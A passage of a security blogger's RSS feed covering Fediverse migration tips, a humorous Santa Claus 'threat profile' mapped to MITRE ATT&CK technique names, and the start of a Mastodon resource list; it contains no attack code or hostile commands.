    &lt;p&gt;You can post to a Lemmy/Kbin community by using @&amp;lt;community&amp;gt;@&amp;lt;server&amp;gt; where the first line is the title of the post, followed by two returns and then the rest of the post is the body. This will post TO a community from your Mastodon handle. NOTE: At least for the instance I tried this on, I had issues responding to that Mastodon-originated post from my Lemmy account, but others with Lemmy accounts on other instances were able to respond, so it could be an isolated issue with my instance.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You can &lt;em&gt;reply&lt;/em&gt; to Lemmy threads via Mastodon as well. This includes posts you originated from Mastodon, or by searching for a Lemmy post by URL within Mastodon and replying from there.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You can find Lemmy communities via Mastodon search, peruse posts and reply to them, even for communities that are otherwise locked down to just members of that community.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You can follow Lemmy/Kbin accounts from Mastodon. You can even follow communities from Mastodon!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Kbin posts, as seen from Mastodon look like &lt;a href=&quot;https://infosec.exchange/@shellsharks@fedia.io/110531555727501374&quot;&gt;this&lt;/a&gt;. (&lt;a href=&quot;https://fedia.io/m/cybersecurity/t/2223/shellsharks-posts-about-infosec-technology-and-life-itself&quot;&gt;Fedia source&lt;/a&gt;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Lemmy posts, as seen from Mastodon look like &lt;a href=&quot;https://infosec.exchange/@shellsharks@infosec.pub/110583314560367129&quot;&gt;this&lt;/a&gt;. (&lt;a href=&quot;https://infosec.pub/post/152769&quot;&gt;infosec.pub source&lt;/a&gt;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Some other Kbin &amp;lt;–&amp;gt; Mastodon stuff talked about &lt;a href=&quot;https://kilioa.org/m/kbinMeta@kbin.social/t/266&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;instance-hosting--community-management&quot;&gt;Instance Hosting &amp;amp; Community Management&lt;/h2&gt;
&lt;p&gt;I’m not an instance admin, nor have I ever self-hosted an instance so I won’t attempt to explain any of that, but I want to list out a few pointers related to community creation/management…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Creating a community/magazine is &lt;em&gt;dead simple&lt;/em&gt; (as long as your instance supports open creation).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When creating a community, be mindful of the real possibility that the &lt;em&gt;exact&lt;/em&gt; same &lt;a href=&quot;#finding-communities&quot;&gt;community exists elsewhere&lt;/a&gt;. Not that you can’t create the same thing on a different instance, but it may make more sense for you to simply join/subscribe an existing community.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You should provide some thoughtful &lt;strong&gt;rules&lt;/strong&gt; for appropriate conduct within your community. They should abide by/inherit the rules of the parent instance and be used to enforce moderation decisions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Moderation is an extremely important property of a healthy online community. I’m no moderation expert, nor am I a particularly seasoned community manager, but I understand the importance of moderation and the difficulties that arise when attempting to perform it at scale. As the &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt; grows, its moderation capabilities must scale to meet demand. Rather than attempt to provide any meaningful analysis on the state of moderation capabilities within the Threadiverse, I’ll instead link to a few interesting resources/discussions I’ve come across…&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;This &lt;a href=&quot;https://infosec.exchange/@Nadya@kbin.social/110551392327803861&quot;&gt;thread from @Nadya@kbin.social&lt;/a&gt; on moderation&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://discuss.online/post/12787&quot;&gt;Beehaw’s mod tools needs&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://about.iftas.org&quot;&gt;IFTAS&lt;/a&gt; - Non-profit team organizing to help foster and preserve inclusive, civil discourse for the common good
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://fediseer.com/&quot;&gt;Fediseer&lt;/a&gt; - FOSS service to help Fediverse instances detect and avoid suspicious instances. (&lt;a href=&quot;https://lemmy.dbzer0.com/post/185949&quot;&gt;Instructions&lt;/a&gt; for verification)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Set out to build and grow communities that are human-centric. Cast aside traditional desires of clout-chasing, aggressive growth and monetization. Be civil, be kind and have fun!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;infosecpub--fedia-cybersecurity-community&quot;&gt;Infosec.Pub &amp;amp; Fedia Cybersecurity Community&lt;/h2&gt;
&lt;p&gt;This piece should be considered software/instance/community-agnostic, it is a guide for the larger &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt;. That said, there are two instances, and a community within both respective instances that I have created and am actively investing time into, specifically &lt;a href=&quot;https://infosec.pub/c/cybersecurity&quot;&gt;/c/cybersecurity&lt;/a&gt; on &lt;a href=&quot;https://infosec.pub&quot;&gt;infosec.pub&lt;/a&gt; and &lt;a href=&quot;https://fedia.io/m/cybersecurity&quot;&gt;/m/cybersecurity&lt;/a&gt; on &lt;a href=&quot;https://fedia.io&quot;&gt;Fedia&lt;/a&gt;. It is no secret that I am a &lt;a href=&quot;https://shellsharks.com/about?about=infosec&quot;&gt;cybersecurity professional&lt;/a&gt; and avid &lt;em&gt;community-engager&lt;/em&gt;. Between this blog, my &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Discord&lt;/a&gt;, and overall Reddit history (&lt;em&gt;purposefully not linking to my handle&lt;/em&gt;) in various infosec-related subs, I like to think of myself as a mentor and one who is very community-forward. To add to that collection (if you will), I have stood up these two communities as (unofficial) landing spots for infosec folks fleeing big-tech-run communities like those of Reddit (namely r/cybersecurity of which I was &lt;em&gt;very&lt;/em&gt; active).&lt;/p&gt;

&lt;p&gt;The future of the &lt;em&gt;Threadiverse&lt;/em&gt; is somewhat uncertain, and by &lt;em&gt;somewhat&lt;/em&gt; I am referring to its ability to capture meaningful mindshare and daily active users, not so much its general staying power (i.e. people have proclaimed Mastodon to be &lt;em&gt;&lt;a href=&quot;https://www.theshortcut.com/p/twitter-death-mastodon-loses-active-users&quot;&gt;dead&lt;/a&gt;&lt;/em&gt; for years and yet it is still going, and by &lt;a href=&quot;https://fedidb.org/software/Mastodon&quot;&gt;all counts&lt;/a&gt;, stronger than ever these days.) But Reddit doesn’t need to die for the Threadiverse to survive, an active community just needs to exist and I plan to help foster the cybersecurity/infosec community on these platforms as best I can. The instance admin for both &lt;a href=&quot;https://infosec.pub&quot;&gt;infosec.pub&lt;/a&gt; and &lt;a href=&quot;https://fedia.io&quot;&gt;Fedia&lt;/a&gt;, the venerable &lt;a href=&quot;https://infosec.exchange/@jerry&quot;&gt;Jerry&lt;/a&gt; has done an amazing job with the &lt;a href=&quot;https://infosec.exchange/@geekgrrl/110529665917357916&quot;&gt;various Fediverse projects/instances&lt;/a&gt; he nearly single-handedly deploys, maintains and administers and in him I have faith for the continued function of the instance(s). (In fact, I highly recommend you &lt;a href=&quot;https://wiki.infosec.exchange/about/contribute&quot;&gt;support his work&lt;/a&gt; if you are able to!)&lt;/p&gt;

&lt;p&gt;So how can you get involved, participate and grow the community? It’s easy! Follow the &lt;a href=&quot;#getting-started&quot;&gt;Getting Started&lt;/a&gt; guide to get up and running, then much as you always have (if you’re coming from Reddit), post interesting links, engage others in (civil) discussion, report posts/comments that violate community/instance rules and if there’s anything else feel free to &lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;reach out to me on Mastodon&lt;/a&gt;! To help get things moving, and to recapture some of the r/cybersecurity experience, I have started up some weekly discussion threads (listed below) that I hope everyone enjoys!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/post/222356&quot;&gt;Mentorship Monday&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/post/237465&quot;&gt;Training Tuesday&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/post/252494&quot;&gt;What are you working on Wednesday&lt;/a&gt; (&amp;amp; on &lt;a href=&quot;https://fedia.io/m/cybersecurity/t/50529/What-are-You-Working-on-Wednesday&quot;&gt;Fedia&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; To be clear, I am not in this for any sort of Internet or community-clout/reputation building. There are &lt;em&gt;many&lt;/em&gt; other infosec communities both within the &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse and outside&lt;/a&gt; that I am also a part of and would encourage you to join. What’s important to me is the long-term survival and healthy operation of this community I have enjoyed during my career and I believe it is at risk while it remains centralized on the platforms that have no interest in anything other than monetization of content. Hope to see you all out there!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I’ll leave the pontificating for the &lt;a href=&quot;#&quot;&gt;beginning&lt;/a&gt; of this article. Let me conclude by simply saying, I think now is the time to embrace the &lt;a href=&quot;https://www.fediverse.to/&quot;&gt;Fediverse&lt;/a&gt;, &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt;, &lt;a href=&quot;https://indieweb.org/&quot;&gt;IndieWeb&lt;/a&gt;, whatever you want to call it. It won’t be without challenges, and I know there are technical hurdles and mental overhead, but what we lose if we don’t try has become more evident now than ever. So speak up (#threadiverse, #redditmigration, etc…) and help others take back their feeds.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;appendices&quot;&gt;Appendices&lt;/h1&gt;

&lt;h2 id=&quot;mobile-clients&quot;&gt;Mobile Clients&lt;/h2&gt;
&lt;p&gt;A list of &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;/&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt; mobile app projects. Another great list of clients can be found &lt;a href=&quot;https://lemmyapps.netlify.app&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://apps.apple.com/us/app/avelon-for-lemmy/id6450952178&quot;&gt;Avelon for Lemmy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/gkasdorf/memmy&quot;&gt;Memmy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Official &lt;a href=&quot;https://join-lemmy.org/apps&quot;&gt;Lemmy Apps&lt;/a&gt; directory&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://beehaw.org/post/697402&quot;&gt;List of iOS/Android Kbin/Lemmy apps | Beehaw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wefwef.app&quot;&gt;wefwef&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/dessalines/jerboa&quot;&gt;Jerboa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mormaer/Mlem&quot;&gt;Mlem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alexandrite.app&quot;&gt;Alexandrite&lt;/a&gt; (per &lt;a href=&quot;https://hachyderm.io/@maegul/110704695446196240&quot;&gt;@maegul@hachyderm.io&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;interesting-instancescommunities&quot;&gt;Interesting Instances/Communities&lt;/h2&gt;
&lt;p&gt;A curated list of &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;/&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt; instances and communities I find interesting/note-worthy.&lt;/p&gt;

&lt;h6 id=&quot;instances&quot;&gt;Instances&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedia.io/&quot;&gt;Fedia&lt;/a&gt; (per &lt;a href=&quot;https://infosec.exchange/@jerry/110523070726279385&quot;&gt;@jerry@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ttrpg.network&quot;&gt;The TTRPG network&lt;/a&gt; (per &lt;a href=&quot;https://infosec.exchange/@edheil@dice.camp/110583328254861653&quot;&gt;@edheil@dice.camp&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/post/529366&quot;&gt;Big list of specialized instances | kbin.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hexbear.net&quot;&gt;Hexbear&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;communities&quot;&gt;Communities&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/c/cybersecurity&quot;&gt;/c/cybersecurity&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://fedia.io/m/cybersecurity&quot;&gt;/m/cybersecurity&lt;/a&gt; (&lt;a href=&quot;https://infosec.exchange/@shellsharks/110531527463734796&quot;&gt;c/cybersecurity announcement&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@shellsharks/110531546587448476&quot;&gt;m/cybersecurity announcement&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/c/passwords&quot;&gt;/c/passwords&lt;/a&gt; (&lt;a href=&quot;https://infosec.exchange/@m8urnett/110554838769556926&quot;&gt;r/passwords migration&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.pub/c/windows_security&quot;&gt;/c/windows_security&lt;/a&gt; (&lt;a href=&quot;https://infosec.exchange/@m8urnett/110554749983792747&quot;&gt;r/windows_security migration&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://fediversereport.com/lemmy-and-kbin/&quot;&gt;Lemmy and Kbin | The Fediverse Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://kilioa.org/m/kbinMeta@kbin.social/t/266&quot;&gt;Kbin FAQ | Kilioa&lt;/a&gt; (per &lt;a href=&quot;https://infosec.exchange/@tehstu@hachyderm.io/110545326078825649&quot;&gt;@tehstu@hachyderm.io&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vijayprema.com/using-lemmy-from-my-existing-mastodon/&quot;&gt;Reddit Exodus - Using Lemmy from my existing Mastodon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 28 Jun 2023 14:57:00 -0400</pubDate>
        <link>https://shellsharks.com/threadiversal-travel</link>
        <guid isPermaLink="true">https://shellsharks.com/threadiversal-travel</guid>
        
        <category>infosec</category>
        
        <category>tech</category>
        
        <category>threadiverse</category>
        
        <category>kbin</category>
        
        <category>lemmy</category>
        
        <category>fediverse</category>
        
        <category>indieweb</category>
        
        
        <category>tech</category>
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>SANS MGT512 &amp; GIAC GSLC Review</title>
        <shark:summary><p>A mini-review of the SANS course MGT512: Security Leadership Essentials for Managers.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Wed, 28 Dec 2022 09:34:00 -0500</pubDate>
        <link>https://shellsharks.com/sans-mgt512-gslc-review</link>
        <guid isPermaLink="true">https://shellsharks.com/sans-mgt512-gslc-review</guid>
        
        <category>infosec</category>
        
        <category>training</category>
        
        <category>sans</category>
        
        <category>management</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Threat Profile: Santa Claus</title>
        <shark:summary><p><strong>Santa Claus</strong> (and his associates, <em><a href="https://en.wikipedia.org/wiki/Christmas_elf">the elves</a></em>) are a north-pole-based physical threat group. Specializations include advanced reconnaissance-at-scale, payload manufacturing / delivery and initial access operations (IAO). Legends indicate this group began a series of world-wide campaigns as early as <a href="https://www.history.com/topics/christmas/santa-claus">280 AD</a> and continue to this day.</p>
</shark:summary>
        <description>&lt;p&gt;&lt;strong&gt;Santa Claus&lt;/strong&gt; (and his associates, &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Christmas_elf&quot;&gt;the elves&lt;/a&gt;&lt;/em&gt;) are a north-pole-based physical threat group. Specializations include advanced reconnaissance-at-scale, payload manufacturing / delivery and initial access operations (IAO). Legends indicate this group began a series of world-wide campaigns as early as &lt;a href=&quot;https://www.history.com/topics/christmas/santa-claus&quot;&gt;280 AD&lt;/a&gt; and continue to this day.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;: G1225&lt;br /&gt;
&lt;strong&gt;Associated Names&lt;/strong&gt;: Sinterklaas, Der Weihnachtsmann, Kriss Kringle, Père Noël, Noel Baba, Babbo Natale, Shaka Santa&lt;br /&gt;
&lt;strong&gt;Version&lt;/strong&gt;: 1.0 &lt;br /&gt;
&lt;strong&gt;Created&lt;/strong&gt;: 24 Dec 2022 &lt;br /&gt;
&lt;strong&gt;Last Modified&lt;/strong&gt;: 24 Dec 2022&lt;/p&gt;
&lt;hr /&gt;

&lt;h4 id=&quot;techniques-used&quot;&gt;Techniques Used&lt;/h4&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tactic&lt;/th&gt;
      &lt;th&gt;ID&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Use&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Reconnaissance&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1595/&quot;&gt;T1595&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Active Scanning&lt;/td&gt;
      &lt;td&gt;He see’s you when you’re sleeping, he knows when you’re awake…&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Reconnaissance&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1592/&quot;&gt;T1592&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Gather Victim Host Information&lt;/td&gt;
      &lt;td&gt;Determines household ingress points&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Reconnaissance&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1589/003/&quot;&gt;T1589.003&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Gather Victim Identity Information&lt;/td&gt;
      &lt;td&gt;He makes a list (and checks it twice)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Resource Development&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1587/&quot;&gt;T1587&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Develop Capabilities&lt;/td&gt;
      &lt;td&gt;Toy manufacturing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1189/&quot;&gt;T1189&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Fly-by Compromise&lt;/td&gt;
      &lt;td&gt;Reindeer-based delivery system&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1190/&quot;&gt;T1190&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Exploit Public-Facing Chimney&lt;/td&gt;
      &lt;td&gt;Preferred inital access vector via chimney&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1195/&quot;&gt;T1195&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Supply Chain Compromise&lt;/td&gt;
      &lt;td&gt;Elves make the toys, but what do they embed?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Initial Access&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1199/&quot;&gt;T1199&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Trusted Relationship&lt;/td&gt;
      &lt;td&gt;He’s pretty much invited in yeah?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1610/&quot;&gt;T1610&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Deploy Container&lt;/td&gt;
      &lt;td&gt;Lots of wrapped containers are delivered&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Execution&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/&quot;&gt;T1053&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Scheduled Task/Job&lt;/td&gt;
      &lt;td&gt;Every year, same time.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Persistence&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1525/&quot;&gt;T1525&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Implant Internal Image&lt;/td&gt;
      &lt;td&gt;Quite an impression is made on the little ones.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Defense Evasion&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1562/004/&quot;&gt;T1562.004&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Impair Defenses&lt;/td&gt;
      &lt;td&gt;Disables or modifies system fireplace&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Lateral Movement&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1210/&quot;&gt;T1210&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Exploitation of Remote Services&lt;/td&gt;
      &lt;td&gt;Moving from house to house&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Exfiltration&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1052/&quot;&gt;T1052&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Exfiltration Over Physical Medium&lt;/td&gt;
      &lt;td&gt;He takes the cookies and back up the chimney he goes!&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Impact&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1485/&quot;&gt;T1485&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Cookie Destruction&lt;/td&gt;
      &lt;td&gt;&lt;em&gt;Nom nom nom&lt;/em&gt; (and drinks the milk!)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Impact&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1491/&quot;&gt;T1491&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Defacement&lt;/td&gt;
      &lt;td&gt;Well between the tree, the lights, the decorations and the gift wrap, my house is always a mess…&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dictionary.com/e/what-are-all-of-the-different-names-for-santa-claus/&quot;&gt;12 Names for Santa Claus From Around the World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Christmas_elf&quot;&gt;Christmas Elf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Shoutout to &lt;a href=&quot;https://infosec.exchange/@esheesle/109546468654942476&quot;&gt;@esheesle@infosec.exchange&lt;/a&gt; for the idea!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/groups/&quot;&gt;MITRE ATT&amp;amp;CK Groups&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/matrices/enterprise/&quot;&gt;MITRE ATT&amp;amp;CK Matrix - Enterprise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.history.com/topics/christmas/santa-claus&quot;&gt;Santa Claus: Real Origins &amp;amp; Legend&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 24 Dec 2022 10:24:00 -0500</pubDate>
        <link>https://shellsharks.com/santa-ttps</link>
        <guid isPermaLink="true">https://shellsharks.com/santa-ttps</guid>
        
        <category>infosec</category>
        
        <category>life</category>
        
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Stars, Boosts &amp; Toots</title>
        <shark:summary><p><em><a href="#mastodon">Mastodon</a>!</em> <strong><a href="#twitter-migration">Twitter is burning</a></strong>!! <em>Ahhhhh</em>!!! The drama, right?! So what is this <a href="https://joinmastodon.org/">Mastodon</a> thingy and what’s going on w/ Twitter? I’m delighted to tell you that I won’t really be writing much about either of those things as there are plenty of others who have done so. Never fear though, what I <em>will</em> do is provide you an awesome, aggregated list of guides, resources, analyses and other cool stuff that has come out on the topics of Mastodon, Twitter and the greater “<a href="#expanded-fediverse">Fediverse</a>”. Now you’re thinking, “<em>A bunch of lists you say? That sounds kinda boring…</em>”. You’re probably right, so in addition to that I’m going to first drop <a href="#my-take-on-mastodon-so-far">my own take on Mastodon</a>! <em>Woooo</em>!</p>
</shark:summary>
        <description>&lt;p&gt;&lt;em&gt;&lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt;!&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;#twitter-migration&quot;&gt;Twitter is burning&lt;/a&gt;&lt;/strong&gt;!! &lt;em&gt;Ahhhhh&lt;/em&gt;!!! The drama, right?! So what is this &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; thingy and what’s going on w/ Twitter? I’m delighted to tell you that I won’t really be writing much about either of those things as there are plenty of others who have done so. Never fear though, what I &lt;em&gt;will&lt;/em&gt; do is provide you an awesome, aggregated list of guides, resources, analyses and other cool stuff that has come out on the topics of Mastodon, Twitter and the greater “&lt;a href=&quot;#expanded-fediverse&quot;&gt;Fediverse&lt;/a&gt;”. Now you’re thinking, “&lt;em&gt;A bunch of lists you say? That sounds kinda boring…&lt;/em&gt;”. You’re probably right, so in addition to that I’m going to first drop &lt;a href=&quot;#my-take-on-mastodon-so-far&quot;&gt;my own take on Mastodon&lt;/a&gt;! &lt;em&gt;Woooo&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; Shoutout to @mttaggart@fosstodon.org who &lt;a href=&quot;https://fosstodon.org/@mttaggart/109325779303522758&quot;&gt;told me not to do this&lt;/a&gt;. Here it is anyways!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; Oh, and if you’re on Mastodon, and so inclined, please give those I have referenced in this piece a follow, boost, like, w/e! They are awesome parts of this growing community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jump to Section&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#my-take-on-mastodon-so-far&quot;&gt;My Take on Mastodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#intro-to-mastodon&quot;&gt;Mastodon Intro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#verification&quot;&gt;Verification on Mastodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#security--privacy&quot;&gt;Security &amp;amp; Privacy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#infosec-community&quot;&gt;Infosec Community&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hosting-a-mastodon-instance&quot;&gt;Hosting a Mastodon Instance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#twitter-migration&quot;&gt;Twitter Migration&lt;/a&gt;&lt;/li&gt;
